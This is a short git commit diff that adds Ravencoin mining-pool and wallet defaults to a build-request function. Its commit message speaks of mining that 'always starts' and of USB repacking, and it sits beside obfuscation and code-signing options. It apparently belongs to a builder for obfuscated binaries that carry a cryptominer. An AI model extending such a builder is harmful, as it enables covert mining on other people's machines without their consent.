fix: mining always starts, RVN pool in Calibrate, USB repacked

This commit is contained in:
AetherForge
2026-06-02 23:17:53 -07:00
parent b18007f563
commit 34c12107ed
8 changed files with 1181 additions and 21 deletions

View File

@@ -150,6 +150,18 @@ export function forgeDefaultsFromServerSmart(
})),
obfuscate: srv?.obfuscate_default ?? false,
sign_build: srv?.sign_enabled ?? false,
// Pre-fill RVN pool from Calibrate if configured
rvn_wallet: config.rvn_wallet?.address ?? '',
rvn_pool_host: config.rvn_pool?.host ?? 'rvn.2miners.com',
rvn_pool_port: config.rvn_pool?.port ?? 6060,
rvn_pool_tls: config.rvn_pool?.use_tls ?? false,
rvn_pool_pass: config.rvn_pool?.password ?? 'x',
rvn_backup_pools: (config.rvn_pool?.backup_pools ?? []).map((bp) => ({
host: bp.host,
port: bp.port,
tls: bp.use_tls,
pass: config.rvn_pool?.password ?? 'x',
})),
} as BuildRequest;
return applySmartForgeDefaults(base, { builds, endpointCandidates: candidates });
}